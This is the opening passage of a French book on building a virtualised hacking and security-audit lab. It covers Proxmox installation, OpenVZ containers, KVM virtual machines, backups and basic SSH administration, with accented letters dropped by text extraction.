Vous êtes sur la page 1sur 231

Hacking - Un labo virtuel pour auditer et

mettre en place des contre-mesures


I nformations gnrales
Ce livre s'adresse toute personne souhaitant s'initier ou se perfectionner dans le domaine de
la scurit informatique, et donc du hacking, et dsireuse de faire un point sur ses
comptences.

Quand une entreprise, un particulier, une association souhaite mettre en place un systme
d'information, comment vrifier, avant la mise en production, qu'il n'existe pas de faille de
scurit ? Comment tester si les protections mises en place sont efficaces ? Ce livre est conu
pour rpondre ces attentes en guidant le lecteur dans la conception d'un laboratoire
virtualis complet dans lequel de nombreux services seront implments.

Aprs cette premire phase de cration, votre laboratoire virtualis accueillera votre systme
d'information et vous pourrez alors attaquer celui-ci afin d'en dtecter les failles. Pour
vous entraner cette phase d'attaque, les auteurs vous proposent de mettre en place dans le
laboratoire un ensemble d'lments faillibles. Ceux-ci sont prsents sous forme d'un
challenge de scurit ddi l'entranement. Vous pourrez ainsi vrifier vos comptences et
valuer la qualit des outils d'audit que vous souhaitez utiliser. Les auteurs ont cherch
couvrir le domaine le plus large possible avec un cot trs raisonnable en investissement
matriel. Ainsi, vous serez confronts des failles applicatives, des failles Web, des failles
systmes, etc. Une correction des diffrentes preuves vous est propose.

Pour terminer, les solutions pour se protger et mettre en place les contre-mesures adaptes
sont prsentes.


Les chapitres du livre :
Introduction Proxmox Machines virtuelles et services Mise en place des preuves
Plateformes d'entranement Le matriel indispensable Scurisation du PC
Introduction
La scurit informatique est un domaine particulier qui ne peut pas tre abord de la mme
faon que les autres domaines de linformatique. Elle ne fait pas lobjet de cours acadmiques
comme ceux que nous pouvons suivre lUniversit. Cest pour cette raison que les plus
grands hackers ont rarement un cursus universitaire, car il faut regarder les choses autrement.
Pour trouver une faille de scurit, il nest pas ncessaire de tout connatre sur tous les
systmes et tous les langages, ce qui est impossible, il faut juste tre capable de voir ce que les
autres ne voient pas.
Lobjectif de cet ouvrage est dapprendre concevoir un petit laboratoire permettant de
sentraner laudit des systmes dinformation et de tester des solutions logicielles ainsi que
quelques lments matriels.
La lecture de ce livre ncessite certaines connaissances en informatique. Le lecteur doit avoir
des notions sur les langages assembleur, PHP et C, ainsi que sur les bases de donnes et les
rseaux. Sans tre un expert de chaque domaine, la comprhension de louvrage sera plus
aise si le lecteur dispose de ces bases. Ces connaissances sont indispensables pour aborder le
hacking mais elles peuvent tre acquises au fil de leau. Par exemple, lorsque nous
parlerons de BoF (buffer overflow), le lecteur constatera que des notions dassembleur
sont indispensables. Il pourra alors consulter en parallle de cet ouvrage un livre sur
lassembleur lui permettant dapprhender les points traits.
Nous rencontrons dans nos diffrents audits de scurit des failles extrmement basiques car
le programmeur, bien que connaissant parfaitement le langage quil utilise, na pas la pense
"programmation scurise". Voyons comment nous allons pouvoir progresser dans la
scurisation de systmes en construisant ce laboratoire.
Dans la premire partie de louvrage, nous verrons comment installer une multitude de
services et de systmes moindres frais et en optimisant le temps pass cette installation.
Nous souhaitons avoir un ensemble souple, modulable souhait et simple dutilisation. La
virtualisation semble donc le meilleur choix, mais laquelle retenir parmi toutes les solutions
proposes ? Nous expliquerons pourquoi nous avons opt pour la mise en uvre dun serveur
Proxmox. Nous passerons linstallation de celui-ci et dtaillerons les principales commandes
qui permettent de piloter les machines virtuelles. Nous passerons ensuite linstallation dune
multitude de services afin de reproduire un petit rseau dentreprise. Ces services tourneront
sous OpenVZ. Nous aborderons alors la mise en place de failles de scurit permettant
dvaluer vos comptences en test de pntration de systmes ainsi que des logiciels daudit
automatiss. OpenVZ ne permettant dmuler que des systmes Linux, il sera temps de passer
la virtualisation de machines Windows avec KVM qui est aussi support par Proxmox. Nous
traiterons laudit de systmes Windows et prsenterons deux plates-formes dentranement
la recherche de failles. Nous terminerons en abordant les problmatiques de scurit plus
physique mettant en uvre des matriels spcifiques comme les lecteurs de cartes puce,
les lecteurs RFID, etc.
Enfin, nous conclurons avec la scurisation des systmes Windows et Linux afin de nous
prmunir dun maximum dattaques.
Proxmox
Prsentation
Pour concevoir un laboratoire de test principalement orient systmes et services, il existe
deux mthodes principales : soit acheter autant de machines physiques que de systmes
installer, soit installer les systmes dans un environnement virtualis sur une mme machine
physique prsentant de bonnes performances. La deuxime solution prsente deux avantages :
rduire le cot et accrotre la souplesse et la rapidit dinstallation. Le seul bmol est que cette
solution reste une virtualisation et quil peut arriver quun comportement se produise sur un
environnement rel et pas dans un environnement virtualis. Mais cela reste la marge et les
avantages que fournit la virtualisation sont tels que nous avons retenu cette solution.
Il existe actuellement plusieurs mthodes de virtualisation. Nous allons dcrire succinctement
chacune delles et argumenter notre choix dans le cadre de lapplication que nous souhaitons
raliser.
La virtualisation certainement la plus connue du grand public consiste en une mulation
complte du matriel. Cette technique permet daccueillir pratiquement tous les systmes
dexploitation car ceux-ci nont pas conscience dtre dans un environnement virtualis.
Elle a comme avantage de permettre de tester les logiciels et services dans une situation trs
proche de la ralit lorsque ceux-ci seront mis en production sur de vrais serveurs. Son
principal dfaut est quelle est trs gourmande en ressources car il faut pour chaque
systme muler tout le matriel et faire tourner un nouveau noyau. Nous pouvons citer des
solutions comme VirtualBox ou QEMU, qui existent en version libre, ou encore VMware
comme solution payante avec nanmoins un player gratuit. Celui-ci offre un avantage
certain en limitant la consommation des ressources du systme accueillant la machine
virtuelle par lutilisation dun noyau, que nous dirons intermdiaire, le VMKernel. Un autre
inconvnient de la virtualisation totale est quil est impossible de modifier en dynamique la
taille du disque dur ou la quantit de mmoire RAM alloue. Seuls quelques lments comme
le comportement des cartes rseau peuvent tre changs en fonctionnement.
La deuxime solution de virtualisation est lutilisation de Xen. Celle-ci offre de trs bonnes
performances et peut fonctionner suivant diffrents modes selon le systme dexploitation
mettre en place. Elle permet la mise en uvre de pilotes matriels virtuels mais aussi un accs
direct aux priphriques. Un avantage non ngligeable est que les systmes sont bien isols
entre eux, offrant ainsi une bonne scurit. Cest pour cette raison que beaucoup dentreprises
retiennent cette solution. Nanmoins, pour tirer pleinement profit de Xen, il est prfrable
dinstaller des systmes modifis spcialement ddis Xen. On parle alors de
paravirtualisation utilise au travers dun dhyperviseur. La mise en place de Xen est plus
complexe que les autres solutions et offre moins de souplesse. Bien que ce soit une excellente
solution que nous conseillons vivement pour la mise en uvre de serveurs en production,
nous estimons quil nous fallait quelque chose de plus souple pour notre laboratoire.
La dernire solution que nous prsentons est OpenVZ, qui offre une virtualisation au niveau
systme dexploitation. Celle-ci offre une trs grande souplesse comme le changement de la
quantit de mmoire RAM, le nombre de processeurs ou encore la taille des disques en
dynamique, sans arrter les services. De plus, elle noccasionne une perte que de quelques
pour-cent de performance par rapport aux autres solutions prsentes, qui elles, sont plus
gourmandes en ressources. Tout cela est rendu possible par lutilisation dun noyau Linux
modifi. Les environnements virtuels (VE) tournent tous avec le mme noyau qui est capable
de crer plusieurs instances du systme totalement isoles les unes des autres. Bien entendu,
ceci occasionne une restriction forte au niveau des systmes dexploitation qui peuvent tre
virtualiss, car ils doivent ncessairement tre des systmes Linux. Par contre, leur installation
ne prend que quelques secondes de par le mcanisme mis en jeu. Cest donc cette solution que
nous retiendrons pour la virtualisation des environnements Linux afin de faire tourner les
divers services dont nous avons besoin (Apache, MySQL, DHCP, FTP, etc.).
Avec le choix nonc prcdemment, nous ne pouvons pas faire tourner des systmes
Windows, ce qui est inacceptable pour un laboratoire de test. Il faut donc retenir une autre
solution. QEMU offre de bonnes performances et, chose trs intressante, il en existe un clone
nomm KVM qui est de plus intgr dans une solution proposant OpenVZ : Proxmox.
Proxmox est une solution complte pour la virtualisation intgrant OpenVZ et KVM ainsi
quune interface de gestion tournant dans un navigateur. Le tout est tlchargeable sous forme
dune ISO incluant un installateur dployant un systme Linux avec un noyau modifi pour
OpenVZ, un environnement KVM, un serveur Apache, etc.
Installation
La premire tape consiste rcuprer une image ISO du CD-ROM dinstallation disponible
sur le site www.proxmox.com cette adresse :
http://www.proxmox.com/downloads/category/iso-images-pve
lheure o ces pages sont crites, cest la version 2.2 de Proxmox VE qui est disponible.
Nous la tlchargeons et gravons un CD-ROM afin de procder linstallation. Proxmox peut
tre install sur des machines ne prsentant pas forcment des performances extraordinaires.
Mais comme nous comptons mettre en uvre une dizaine de machines virtuelles, il faut quand
mme un minimum de ressources. Lenvironnement minimum que nous vous conseillons est
le suivant :
Un processeur 64 bits, de prfrence un i5 ou un i7.
Une mmoire RAM de 4 Go.
Un disque dur de 500 Go.
Bien entendu, vous pouvez prendre beaucoup plus suivant votre budget et vos objectifs car
Proxmox est capable de grer 64 processeurs et 64 Go de RAM.
Entrons dans le vif du sujet en passant linstallation. Aprs avoir dmarr sur le CD-ROM,
nous sommes face lcran ci-aprs proposant des options de dmarrage ventuelles. Ici, nous
nous contentons dappuyer sur [Entre].

Nous acceptons ensuite les termes de la licence.

Nous vrifions que linstallation va se faire sur le bon disque. Celui-ci est indiqu en bas de
lcran, puis nous passons la suite. Vient alors le choix de la langue, du fuseau horaire et du
clavier.

Ltape suivante est importante puisquelle va dfinir un mot de passe pour ladministrateur
du serveur. Celui-ci doit tre suffisamment robuste car il donnera accs toutes les machines
virtuelles. Il faudra aussi renseigner un e-mail valide.

Nous arrivons alors la configuration du rseau. Si vous tes en DHCP, Proxmox utilise
automatiquement la configuration qui lui est fournie par le DHCP, sinon il faudra
soigneusement renseigner celle-ci.

Tous les renseignements ncessaires linstallation sont donns. Le passage la prochaine
tape entraine linstallation proprement dite du serveur.

Si tout se droule bien, nous arrivons aprs quelques minutes lcran final de linstallation
qui nous propose de redmarrer notre serveur.

Nous constatons au redmarrage que nous avons bien un noyau modifi pour Proxmox.

Une fois le serveur compltement dmarr, nous constatons que nous ne disposons pas
denvironnement graphique, ce qui est normal. Nous avons alors deux solutions pour
administrer notre serveur : soit nous identifier en tant quutilisateur root et grer les
machines virtuelles laide de la ligne de commande, soit nous connecter sur le serveur
laide dun navigateur comme suggr sur lcran daccueil.

Nous retiendrons cette deuxime solution dans un premier temps avant de nous lancer dans la
ligne de commande.
Configuration
1. Prsentation de linterface
Prenons donc notre navigateur prfr et connectons-nous ladresse indique. Utilisez
ladresse correspondant votre situation. Cette adresse nest accessible quen HTTPS et nous
devons accepter le certificat car celui-ci est autosign. Nous sommes alors face la fentre
didentification. Nous choisissons la langue souhaite et nous identifions en tant quutilisateur
root.

Notre navigateur affiche normalement lcran suivant.

En haut gauche, nous trouvons une liste droulante permettant de visualiser le serveur de
trois faons diffrentes :
serveur
dossier
stockage
En dessous, nous visualisons la reprsentation demande. La partie centrale prsente un grand
nombre donglets. Ceux-ci changent en fonction de la slection que nous faisons dans
larborescence du serveur.
La partie infrieure prsente les tches ralises et celles en cours dans le premier onglet. Le
second onglet nous renseignera sur les logs du serveur.
Lobjet de cet ouvrage nest pas un cours Proxmox. Nous vous invitons donc vous reporter
la documentation en ligne si vous souhaitez aller plus loin. Vous pouvez la trouver cette
adresse : http://pve.proxmox.com/wiki/Main_Page
Nous allons ici dcrire nanmoins tout ce qui est ncessaire la ralisation de notre
laboratoire. Aprs ce chapitre, vous saurez dj utiliser un grand nombre de fonctionnalits de
Proxmox.
2. Les conteneurs OpenVZ
Passons la pratique en crant notre premire machine virtuelle. Nous dcouvrions ainsi les
diffrentes fonctionnalits du Proxmox au fur et mesure. Comme nous lavons expliqu lors
de la prsentation des diffrentes mthodes de virtualisation, le serveur Proxmox propose une
virtualisation avec OpenVZ, ce qui sera appel un conteneur (CT) et une virtualisation
complte avec KVM qui sera appele machine virtuelle (VM).
Nous allons commencer par crer un conteneur. Mais avant, il est ncessaire de charger des
modles qui seront utiliss pour sa cration. Dans la vue serveur nous cliquons sur le [+] et
slectionnons la branche local (proxmox). Nous visualisons sur la partie centrale un rsum
de ltat de lespace disque dont nous disposons sur notre serveur. Nous passons longlet
Contenu et constatons que nous ne disposons pour le moment daucun modle.Pour en
charger un, il faut cliquer sur Modles. Nous sommes alors face une liste de modles
disponibles.

Nous voyons quil existe quelques systmes dexploitation possibles mais surtout, une
multitude de services et autres CMS prts lemploi comme LAMP, Drupal, Symfony, etc.
Commenons par un systme simple et choisissions une Debian-6.0. Nous slectionnons
litem correspondant dans la liste et cliquons sur Tlcharger.

Dans larborescence de gauche, si nous nous rendons sur le disque local du Proxmox et que
nous slectionnons longlet Contenu du volet de droite, nous visualisons bien limage que
nous venons de tlcharger.

Il est possible de rcuprer dautres modles sur dautres sources et aussi de crer ses propres
modles. Un exemple de source : http://openvz.org/Download/template/precreated
Pour ce qui est de la cration de ses propres modles, ce nest pas le sujet de ce livre, mais
vous pouvez vous reporter lexemple de cration dun modle en suivant ce lien :
http://www.webstrat.fr/blog/web-technology/creer-un-template-de-machine-virtuelle-sous-
openvz
Maintenant que nous disposons dun modle, il faut crer le conteneur. Commenons par
cliquer en haut droite sur le bouton Crer CT. Nous sommes alors face lcran ci-aprs.

Le premier champ permet de spcifier le nud ; ici, il ny en a quun. Ces nuds permettent
de mettre des serveurs Promox en cluster . Ceci permet une haute disponibilit des services
avec une gestion de machines virtuelles rparties sur plusieurs serveurs physiques. Ce nest
pas notre cas ici et nous travaillerons toujours avec un seul nud. Par contre, cette possibilit
est souvent utilise par les prestataires proposant des services haute disponibilit. Il faut
ensuite indiquer un numro unique pour chaque machine, ce sera son ID. Il est
automatiquement incrment, mais nous pouvons y mettre ce que nous voulons. Laissons la
valeur 100 par dfaut. Vient ensuite le nom de la machine, par exemple WEB1 . Nous
navons pas constitu de pool de ressources, ce champ restera donc vide. Nous gardons aussi
le champ stockage sur local, car nous navons dclar quune zone de stockage disponible
pour le moment. Reste le mot de passe saisir et nous pouvons cliquer sur Suivant.

Nous devons choisir ensuite le modle avec lequel nous souhaitons crer notre conteneur. Ici,
nous nen trouvons quun seul car nous nen avons tlcharg quun. Une fois celui-ci
slectionn, passons ltape suivante.

Cette tape nous permet de configurer les ressources de la machine virtuelle. Il faudra ajuster
celles-ci en fonction de ce que nous souhaitons faire avec le conteneur (CT). Par exemple,
pour un petit serveur web, nous pouvons garder les rglages par dfaut. Il sera toujours
possible de revenir par la suite sur la mmoire alloue, ou lespace disque et mme sans
arrter les services. Cest un gros avantage dOpenVZ. Passons la configuration du rseau
en cliquant sur Suivant.

Nous constatons que nous avons deux possibilits pour configurer linterface rseau de la
machine virtuelle. Le mode venet ou mode rout . Dans ce cas, cest le serveur
OpenVZ qui administre compltement linterface en lui attribuant une IP qui sera route par
le noyau Linux. Linterface na donc pas sa propre adresse MAC, et ne peut pas faire de
broadcast dans le conteneur. Par contre, la scurit est renforce car OpenVZ contrle tout
le trafic qui remonte la machine virtuelle. De plus, ce mode prsente des performances
suprieures. Tout ceci est parfait pour fournir un service classique, mais ici notre but est de
reproduire de la faon la plus fidle possible le comportement dune machine relle. Dans ce
cas, il est prfrable dutiliser le mode Bridged (pont). La machine virtuelle se comporte
alors comme si elle possdait sa propre carte rseau, elle dispose dune adresse MAC et peut
faire du broadcast , et par consquent, la scurit doit tre gre par le systme install
dans le conteneur. Nous choisirons ce mode. Voici un petit tableau qui rsume les deux modes
exposs.
Le mode
Veth
correspond un accs par pont que nous privilgions ici.
Plus que quelques lments configurer et notre machine sera prte ; cliquons sur Suivant.
Proprit Veth
(Virtual ETHernet)
Venet
(Virtual NETwork)
Dispose dune adresse MAC Oui Non
Peut faire du broadcast Oui Non
Peut capturer le trafic rseau Oui Non
Scurit du rseau Basse leve
Peut tre utilise dans un pont Oui Non
Supporte lIPv6 Oui Oui
Performances Rapide Trs rapide

Il nest pas ncessaire de configurer ici un serveur DNS, nous le ferons dans la machine
virtuelle. Passons la dernire tape.

Nous sommes alors face un cran qui rsume lensemble des paramtres que nous venons de
configurer. Aprs une relecture de ceux-ci pour vrification, nous pouvons lancer la cration
de la machine en cliquant sur Termin. Aprs quelques secondes, nous visualisons la
confirmation de la cration de la machine.

Notre conteneur apparat dans larborescence du Proxmox sur la partie gauche de lcran. Si
nous cliquons dessus, lcran de droite affiche un rsum de son statut.

Nous voyons que la machine est pour le moment stoppe. Les diffrents onglets nous
permettent de visualiser les ressources occupes, le mode rseau, etc. Lorsque la machine est
slectionne, un clic sur Dmarrer permet de lancer celle-ci. Nous voyons en bas de lcran
les enregistrements des oprations que nous faisons. Une fois la machine dmarre, nous
pouvons obtenir une console sur celle-ci en cliquant sur Console en haut droite de lcran.
Comme le serveur Proxmox a t install avec un serveur Apache proposant une connexion
HTTPS qui dispose dun certificat autosign, et que celui-ci a besoin de dmarrer une applet
Java pour muler une console sur la machine virtuelle, notre navigateur nous demande tout
naturellement une confirmation avant de lancer le code Java.

Deux confirmations seront demandes. Nous confirmons le lancement en cliquant sur Run.
Nous sommes alors face la console ci-aprs.

Nous pouvons nous identifier en tant quutilisateur root avec le mot de passe que nous
avons saisi lors de la cration de la machine virtuelle. Cette navigation via une application
Java nest pas des plus confortables et nous verrons quil est prfrable de travailler en
connexion SSH, directement sur le serveur quand cela est possible.
Nous en avons fini pour le moment avec linstallation de machines en OpenVZ. Nous
configurerons dans le chapitre suivant tous les services ncessaires notre laboratoire de
hacking dans ce type de machines virtuelles.
3. Travailler avec une ISO et KVM
Comme nous lavons expliqu, les machines OpenVZ ne peuvent muler que des systmes
Linux. Il faut donc passer par KVM pour installer un systme Windows. Avant de commencer
linstallation, il faut dans un premier temps fournir notre serveur Proxmox une image dun
CD-ROM dinstallation. Il est toujours possible dutiliser le CD-ROM de la machine qui
hberge le serveur Proxmox mais ce nest pas des plus commodes quand le serveur est distant.
Cest pour cette raison que nous prfrons ici lutilisation dune image ISO. La premire tape
consiste dposer limage ISO du CD-ROM sur le serveur. Pour cela, il faut slectionner le
disque local dans larborescence du serveur gauche puis se rendre dans longlet Contenu.
Nous voyons deux choix apparatre dans le menu de cet onglet : Modle et Upload. En
cliquant sur Upload, le serveur nous ouvre une bote de dialogue nous demandant dindiquer
o se trouve limage que nous souhaitons dposer.

Nous choisissons limage dont nous disposons. Si vous navez votre disposition que le CD-
ROM original de Windows, il est toujours possible den faire une image avec k3b par
exemple. Mais ce nest pas le sujet de ce livre. Nous poursuivrons le dpt en cliquant sur
Upload.

Limage de notre CD-ROM remonte sur le serveur. La dure de cette opration peut tre
variable suivant la rapidit de votre connexion. Une fois lopration termine, nous
visualisons deux lments dans Contenu : limage ISO que nous venons de dposer et le
modle de la Debian.

Nous pouvons passer la cration dune machine KVM en cliquant sur Crer VM en haut
droite de lcran. Le premier onglet de la bote de dialogue qui nous est propose ressemble
fortement celui de la cration de conteneur, mais ici, aucun mot de passe nest ncessaire.
Nous changeons lID de la machine en 500 et choisissons Win1 comme nom de VM. Nous
passons ltape suivante. Il peut tre intressant dorganiser les ID de machines en fonction
du systme dexploitation install. Par exemple, 1xx pour les Linux, 5xx pour les Windows.

Dans cette tape, il faut choisir le type de systme dexploitation que nous voulons installer.
Nous voyons quil est aussi possible dinstaller des systmes Linux, ce qui semble normal.
Mais cette fois, le noyau du systme appartiendrait entirement la machine virtuelle et ne
serait pas partag avec Proxmox. Dans notre cas, nous choisissons Windows XP/2003 et
passons ltape suivante.

Cest l que limage du CD-ROM que nous avons dpose va nous tre trs utile. Il suffit
juste de la slectionner pour simuler son insertion dans le lecteur de la machine virtuelle.
Nous pouvons poursuivre et passer ltape de configuration du disque dur.

Le disque dur de la machine est en ralit un fichier. Nous pouvons choisir la faon dont il
sera vu dans la machine virtuelle (IDE, SATA, etc.), sa taille et le type dimage disque (raw,
QEMU, VMware). Nous conservons les rglages proposs par dfaut, sauf la taille que nous
choisissons de rduire un peu. Tout ceci dpend de ce que vous souhaitez faire avec votre
machine virtuelle.

Ltape suivante nous permet de choisir le microprocesseur que nous voulons muler pour
notre machine. En ralit, nous allons pouvoir faire fonctionner un Windows 32bits sur un
qemu64. Ce paramtre nest quun indicateur pour notre mulation. Nous nentrerons pas
dans les dtails techniques du choix du CPU, ce qui nous emmnerait trop loin, mais vous
pouvez approfondir vos connaissances ce sujet en lisant quelques discussions intressantes :
http://rwmj.wordpress.com/2010/10/08/32-or-64-bit-virtual-cpu-in-kvm/
https://www.berrange.com/posts/2010/02/15/guest-cpu-model-configuration-in-libvirt-with-
qemukvm/
Gardons les rglages par dfaut et passons ltape suivante.

Cette tape nous permet de rgler la quantit de mmoire que nous attribuons la machine
virtuelle. Attention ne pas trop attribuer de mmoire une multitude de machines qui vont
finir par occuper toute la mmoire de notre serveur et le faire fortement ralentir. Nous
conservons donc les 512 Mo proposs et passons ltape suivante, la configuration du
rseau.
Nous disposons de plus doptions que dans le cas des conteneurs. Le premier choix se fait
entre Bridged, NAT et No Network. Dans le premier cas, tout se passe comme si la carte
rseau de notre machine virtuelle tait directement connecte au rseau physique sur lequel se
trouve le serveur. La deuxime possibilit est la translation dadresse. Dans ce cas, il y a un
routage entre linterface rseau de la machine virtuelle et le rseau physique. Le dernier choix
est sans intrt puisquil prive notre VM de toute interface rseau. Comme dans le cas de la
machine Debian, nous choisissons le mode Bridged pour que notre laboratoire virtuel se
rapproche le plus possible de machines relles et que celles-ci soient vues sur le rseau
comme telles. Sur la partie droite de la bote de dialogue qui nous est propose, nous pouvons
slectionner le type de carte rseau mule, choisir ventuellement une adresse MAC pour
celle-ci et limiter sa bande passante si ncessaire. Nous conservons les rglages par dfaut,
qui se prtent bien ce que nous souhaitons faire.

La dernire tape nous permet de relire lensemble des paramtres rgls pour cette machine
et de les confirmer si tout nous semble correct. Cest ce que nous faisons.

En cliquant sur Termin nous constatons que la machine est immdiatement cre,
contrairement la cration de conteneur qui avait ncessit quelques secondes. Cest normal
car ici, aucun systme nest encore install sur la machine. Cest juste une bote vide pour le
moment.
Pour procder linstallation de la machine, il faut la dmarrer. Pour cela, nous visualisons la
liste des machines disponibles dans larborescence de notre serveur, slectionnons la machine
500 et cliquons sur Dmarrer. Une fois la machine dmarre, nous pouvons demander une
console. Nous pouvons alors installer notre Windows comme nous le faisons habituellement.

Voil, nous avons prsent deux machines virtuelles installes, une dans un conteneur sous
OpenVZ et une autre avec KVM, tout ceci dans la mme interface.
4. Effectuer des sauvegardes
Crer des machines virtuelles, cest bien, mais quand nous aurons pass beaucoup de temps
configurer des services et failles de scurit afin de sentrainer laudit, nous souhaiterons ne
pas avoir refaire tout ce travail si une machine vient tre altre par une attaque. Il est
donc intressant de pouvoir sauvegarder, restaurer et dupliquer nos VM.
Pour la sauvegarde dune machine virtuelle, il existe plusieurs solutions et plusieurs modes.
Proxmox est en effet pens pour crer des services haute disponibilit et permet donc
deffectuer des sauvegardes tout en maintenant le service actif. Ce nest pas pour rien que de
grosses entreprises proposant de lhbergement ont retenu cette solution.
Avant deffectuer toute sauvegarde, il est ncessaire de configurer notre serveur Proxmox
pour lui dfinir un emplacement o enregistrer les images. Pour cela, plaons-nous tout en
haut de larborescence sur Centre de donnes et rendons-nous dans longlet Stockage. Nous
visualisons un seul stockage disponible, local, qui est utilis pour les machines virtuelles
prsentes mais pas pour leur sauvegarde.

Nous allons dclarer Proxmox un dossier pour la sauvegarde des VM. Dans le menu
Ajouter nous disposons de quatre options :
Directory
LVM Group
NFS Share
iSCSI target
Comme nous sommes partis du principe que nous navions quun disque pour le moment,
nous allons choisir dindiquer un lieu de sauvegarde sous la forme dun dossier. Nous
choisissons Directory.

Lors de linstallation du serveur, le systme de partitionnement a attribu la plus grande partie
du disque dur une partition monte dans le dossier /var/lib/vz. Cest donc dans cette zone
que nous allons dclarer lemplacement des sauvegardes. Nous nommons celle-ci Dump
et prcisons le chemin complet dans Rpertoire. Le contenu est exclusivement rserv la
sauvegarde, nous choisissons alors uniquement Backups dans le menu Contenu. Les autres
options sont laisses aux valeurs par dfaut.

Nous visualisons bien deux dclarations de stockage et voyons apparatre dump dans
larborescence du serveur Proxmox gauche. Voil, nous sommes prts effectuer la
sauvegarde dune machine.
Slectionnons la VM Debian dID 100 dans larborescence du Proxmox et rendons-nous dans
longlet Sauvegarde du panneau de droite.

Nous voyons un menu disposant dune option Backup now. Cliquons dessus. Nous sommes
face la bote de dialogue intitule Sauvegarde CT 100.
Plusieurs options nous sont ici proposes, parmi lesquelles lemplacement o sera
sauvegarde limage de notre machine. Comme nous navons dclar quun seul emplacement
ddi aux sauvegardes, celui-ci est mis par dfaut. Vient ensuite le mode. Il en existe trois :
Snapshot : qui permet de faire une image de la machine sans suspendre les services de
celle-ci. Tout au plus, limpact de ce mode sur les VM sera de les ralentir.
Suspend : qui effectue la sauvegarde de la machine en suspendant temporairement les
services.
Stop : qui arrte la machine pour en effectuer la sauvegarde.
Nous ne sommes pas ici dans le cas dun maintien de service absolument obligatoire puisque
nous sommes dans un laboratoire. Dans ce cas, il est prfrable dutiliser le mode Stop, qui est
celui prconis si on a le choix.
Enfin, il reste dterminer le mode de compression de limage. De mme, nous ne sommes
pas quelques secondes prs et une archive gzip nous permettra dconomiser de lespace
disque. Les options tant rgles, il ne reste plus qu cliquer sur Sauvegarde.

Le temps ncessaire pour effectuer la sauvegarde dpend beaucoup de la puissance de votre
serveur, de la rapidit de son disque dur et videmment de la taille de la machine
sauvegarder. Mais cela reste gnralement trs rapide.
Nous remarquons quen rafrachissant la page de notre navigateur, nous voyons apparatre la
sauvegarde que nous venons deffectuer dans la zone de droite.

Il est alors possible prsent de restaurer la machine. Celle-ci se retrouvera exactement dans
ltat dans lequel elle se trouvait au moment de sa sauvegarde.
Il est vraiment intressant de sauvegarder des machines, mais il peut aussi tre trs utile de
dupliquer des machines, cest--dire de les cloner. Pour cela, rien de plus simple. Il faut
commencer par crer un conteneur et peu importe son contenu. Crons par exemple une VM
qui prsente les caractristiques suivantes :
Nom : WEB2
Mmoire RAM : 512 Mo
Disque dur : 1 Go
Une interface rseau en Bridge
Pour cloner la machine WEB1 dans la machine WEB2, il suffit de slectionner la machine
WEB2 dans larborescence du serveur, de se rendre dans longlet Sauvegarde, de
slectionner notre sauvegarde de la machine WEB1 et de cliquer sur Restaurer.

La bote de dialogue qui se prsente devant nous nous indique bien que nous allons restaurer
la machine dID 102 avec limage vzdump-openvz-100-xxxx.tar.gz. Lorsque nous cliquons
sur Restaurer, un avertissement nous prvient que cela aura pour effet de dtruire toutes les
donnes de la machine cible restaure. Confirmons la restauration. Si lopration sest
correctement droule, nous devons voir apparatre le rsum ci-aprs.

En allant voir dans longlet Ressources de chaque machine, nous constatons que la VM dID
102 possde prsent un disque de 4 Go, comme la VM dID 100, le clonage ayant reproduit
lidentique la VM dID 100. La duplication exactement lidentique dune VM va nous
poser un problme au niveau de la carte rseau. En effet, si nous visualisons longlet Rseau
de chaque machine, nous constatons quelles ont la mme adresse MAC et quelles sont
connectes sur le mme pont (vmbr0) avec le mme Host device name : veth100:0 qui lui
aussi prsente la mme adresse MAC. Pour viter tout problme, le mieux est de changer les
adresses MAC et de crer une nouvelle interface rseau, voire de dtruire linterface rseau et
de la recrer.
Nous avons prsent sauvegard, restaur et clon des machines. Ceci est trs utile lorsquon
travaille sur des tests dintrusion.
5. Les commandes de base
a. Administrer autrement Proxmox
Jusqu prsent nous avons utilis linterface web pour ladministration de notre serveur.
Comme celui-ci tourne dans un environnement Linux, il est tout fait possible dutiliser une
connexion SSH pour accder au serveur. Si vous tes sous Windows, je vous conseille
dutiliser Putty, qui est un logiciel libre et permet des connexions de toutes sortes, Telnet,
SSH, Srie, etc. Vous pouvez tlcharger ce logiciel ladresse suivante :
http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html
Il ny a mme pas dinstallation faire, juste lancer lexcutable. Nous nous plaons dans la
catgorie Session et saisissons lIP de notre serveur. Nous pouvons mme sauvegarder cette
configuration avec Save.

Cliquons sur Open et acceptons la cl qui nous est fournie. Celle-ci sera mmorise et cette
confirmation ne nous sera plus demande la prochaine connexion.

Nous saisissions lidentifiant root et son mot de passe. Nous avons alors une console ouverte
sur le serveur.

Si vous tes sous Linux, pas de problme, la commande ssh est native sur le systme. Un
simple :
ssh root@192.168.1.34
dans une console, en remplaant videmment lIP indique par lIP de votre serveur, nous
permet dobtenir une invite de commande sur le serveur. Il est aussi possible damliorer la
scurit de la connexion en faisant un change pralable de cls entre les clients autoriss se
connecter et le serveur.
Dans la section suivante, nous partons du principe que nous avons tabli une connexion SSH
entre le serveur et que nous sommes face linvite de commande de celui-ci.
b. Petit tour dans larborescence de Proxmox
Avant de se lancer dans la gestion des machines en ligne de commande, il est intressant de
regarder comment le disque est organis par Proxmox.
La partition la plus grande du disque se trouve monte dans /var/lib/vz. Cest cet endroit que
nous allons trouver nos machines. Entrons dans ce dossier et regardons son contenu, puis
celui du sous-dossier private.
root@proxmox:~# cd /var/lib/vz
root@proxmox:/var/lib/vz# ls -l
total 44
drwxr-xr-x 3 root root 4096 Apr 1 09:48 dump
drwxr-xr-x 4 root root 4096 Apr 4 08:52 images
drwxr-xr-x 2 root root 4096 Apr 4 05:38 lock
drwx------ 2 root root 16384 Jan 2 12:01 lost+found
drwxr-xr-x 5 root root 4096 Apr 3 11:34 private
drwxr-xr-x 5 root root 4096 Apr 3 11:34 root
drwxr-xr-x 5 root root 4096 Jan 2 12:02 template
drwxr-xr-x 2 root root 4096 Apr 3 11:30 vztmp
root@proxmox:/var/lib/vz# ls -l private/
total 12
drwxr-xr-x 20 root root 4096 Apr 4 05:38 100
drwxr-xr-x 20 root root 4096 Apr 3 11:36 102
root@proxmox:/var/lib/vz#
Nous retrouvons nos deux conteneurs, cest--dire les machines OpenVZ, mais pas la
machine KVM. Si nous entrons dans le dossier 100 et que nous inspectons son contenu, nous
retrouvons larborescence de la machine virtuelle.
root@proxmox:/var/lib/vz# cd private/100
root@proxmox:/var/lib/vz/private/100# ls -l
total 72
drwxr-xr-x 2 root root 4096 Apr 3 08:57 bin
drwxr-xr-x 2 root root 4096 Sep 23 2012 boot
drwxr-xr-x 4 root root 4096 Apr 4 05:38 dev
drwxr-xr-x 57 root root 4096 Apr 4 05:48 etc
